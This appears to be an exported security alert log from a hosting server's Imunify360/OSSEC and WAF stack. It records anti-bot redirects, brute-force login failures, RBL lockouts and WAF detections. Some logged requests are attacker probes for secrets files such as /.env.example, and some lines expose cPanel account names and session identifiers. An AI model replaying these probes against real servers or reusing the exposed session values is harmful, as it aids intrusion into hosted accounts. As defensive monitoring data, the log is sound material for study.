103.108.92.89 - - [20/Jun/2026:14:17:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6931868&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781965062 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:14:17:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263913&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781965062 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.182.62
country_id: 3175395
description:
[2026-06-20 14:19:24 +0000] info [whostmgrd] 146.70.182.62 - c1565738c "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.27
country_id: 3017382
description:
[2026-06-20 14:19:34 +0000] info [cpaneld] 5.231.64.27 NEW formationfreenet:1NgeVt2Tl7ALLVok address=5.231.64.27,app=cpaneld,creator=formationfreenet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.83.58.162
country_id: 6252001
description:
[2026-06-20 14:21:56 +0000] info [cpaneld] 23.83.58.162 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 3.0.93.62
country_id: 1880251
description:
[2026-06-20 14:23:15 +0000] info [webmaild] 3.0.93.62 - stephane@sitewebofficiel.tg "GET /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.68
country_id: 690791
description:
Jun 20 14:25:25 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.68 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.29.15.54
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/5d8faa HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.68
country_id: 690791
description:
Jun 20 14:25:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.134.49
country_id: 690791
description:
Jun 20 14:26:24 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.134.49 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.166.159.173
country_id: 1643084
description:
103.166.159.173 - - [20/Jun/2026:14:26:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7237066&pdata=https%253A%252F%252Fwebmail.s2ci.free.netmaster.tg%252F%253Flocale%253Dpt&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781965577 HTTP/2.0" 302 0 webmail.s2ci.free.netmaster.tg "https://webmail.s2ci.free.netmaster.tg/?locale=pt" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.166.159.173


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.134.49
country_id: 690791
description:
Jun 20 14:26:30 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.134.49 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:26:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:26:32 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.216.84.69
country_id: 934292
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/999b9d HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.220
country_id: 1269750
description:
Jun 20 14:26:44 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.220 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 66.146.235.226
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:66.146.235.226||TA:66.146.235.226||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:14:29:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6997914&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781965790 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.169.219.59
country_id: 6252001
domain: togoagropoles.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togoagropoles.tg/cgi-sys/suspendedpage.cgi HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.60.138
country_id: 2300660
description:
Jun 20 14:33:27 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.60.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.228.245.110
country_id: 3469034
description:
2026-06-20 14:33:59 dovecot_plain authenticator failed for H=([69.172.210.47]) [45.228.245.110]:53526: 535 Incorrect authentication data (set_id=support@togointerim.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.60.138
country_id: 2300660
description:
Jun 20 14:33:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.60.138 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:33:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313557&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781966028 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:14:33:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10142360&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781966027 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.245
country_id: 3017382
description:
[2026-06-20 14:35:19 +0000] info [cpaneld] 5.231.255.245 NEW tgkkwsvr:Zr3cOrS0eMpX46xZ address=5.231.255.245,app=cpaneld,creator=tgkkwsvr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.85.128
country_id: 2921044
description:
[2026-06-20 14:36:44 +0000] info [whostmgrd] 217.181.85.128 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.162.164.94
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/8ea0ab HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.54
country_id: 6252001
description:
205.169.39.54 - - [20/Jun/2026:14:40:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816211&pdata=http%253A%252F%252Fsophie-immobilier.tg.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781966426 HTTP/1.1" 302 0 sophie-immobilier.tg.154-70-82-246.cpanel.site "http://sophie-immobilier.tg.154-70-82-246.cpanel.site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.54


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:42:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.17.32.63
country_id: 3437598
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/02/WhatsApp-Image-2024-02-17-at-11.09.34.jpeg 1280w, http:/togodailynews.tg/wp-content/uploads/2024/02/WhatsApp-Image-2024-02-17-at-11.09.34-300x208.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2024/02/WhatsApp-Image-2024-02-17-at-11.09.34-1024x710.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2024/02/WhatsApp-Image-2024-02-17-at-11.09.34-768x533.jpeg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.186
country_id: 3469034
description:
Jun 20 14:42:55 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.186 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:42:31 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:14:43:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9933926&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781966603 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:14:43:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738597&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781966608 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:43:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6787946&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781966607 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.229
country_id: 6252001
description:
[2026-06-20 14:43:56 +0000] info [cpaneld] 64.44.62.229 NEW formationfreenet:llsBPJEMK5nWxuMU address=64.44.62.229,app=cpaneld,creator=formationfreenet,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.211.23.124
country_id: 3625428
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/events/8 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.79.131.229
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/9b9e98 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.138.69.94
country_id: 3077311
description:
Jun 20 14:47:12 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.138.69.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.237
country_id: 690791
description:
Jun 20 14:47:22 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.237 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:48:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6710891&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781966908 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.42.202.134
country_id: 1210997
description:
103.42.202.134 - - [20/Jun/2026:14:48:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857179&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Fsociete%25252Fle-prix-nobel-de-medecine-decerne-a-deux-chercheurs-pour-leurs-travaux-sur-le-cancer%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781966909 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2F24heureinfo.tg%2Fsociete%2Fle-prix-nobel-de-medecine-decerne-a-deux-chercheurs-pour-leurs-travaux-sur-le-cancer%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.42.202.134


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:14:48:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6867565&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781966911 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.40
country_id: 3469034
description:
Jun 20 14:50:01 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.40 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.230.96.253
country_id: 1880251
description:
43.230.96.253 - - [20/Jun/2026:14:50:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249575&pdata=https%253A%252F%252Ftogodailynews.tg%252F%253Fp%253D24843&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781967002 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/?p=24843" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.230.96.253


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.153.189.18
country_id: 6252001
domain: tourney.fishing
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tourney.fishing/.env.example HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 104.232.222.55
country_id: 2802361
domain: wellcity.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 12; M2102J20SG Build/SKQ1.211006.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2023002030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/30.2.3 ByteLocale/ru-RU ByteFullLocale/ru-RU Region/US Spark/1.3.5.7-bugfix AppVersion/30.2.3 BytedanceWebview/d8a21c6||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 187.108.210.164
country_id: 3469034
description:
187.108.210.164 - - [20/Jun/2026:14:53:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985317&pdata=https%253A%252F%252Fcfpj.tg%252Fnwyj-10867netid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781967200 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nwyj-10867netid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:187.108.210.164


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.174.16.193
country_id: 357994
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/778571 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.153.189.18
country_id: 6252001
domain: www.curvecare.shop
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.curvecare.shop/pi.php HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.61.9.13
country_id: 3865483
description:
Jun 20 14:55:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.61.9.13 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:57:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:57:59 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.163.193.165
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/7f766d HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.82.52.136
country_id: 3469034
description:
Jun 20 14:59:39 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.82.52.136 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:14:59:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052184&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781967591 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:14:59:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7247507&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781967590 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:59:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792613&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781967592 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.191.131.231
country_id: 1282988
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-27-at-12.10.47.jpeg 1280w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-27-at-12.10.47-300x200.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-27-at-12.10.47-1024x683.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-27-at-12.10.47-768x512.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-27-at-12.10.47-272x182.jpeg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.13
country_id: 3469034
description:
Jun 20 15:02:04 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 212.119.46.135
country_id: 294640
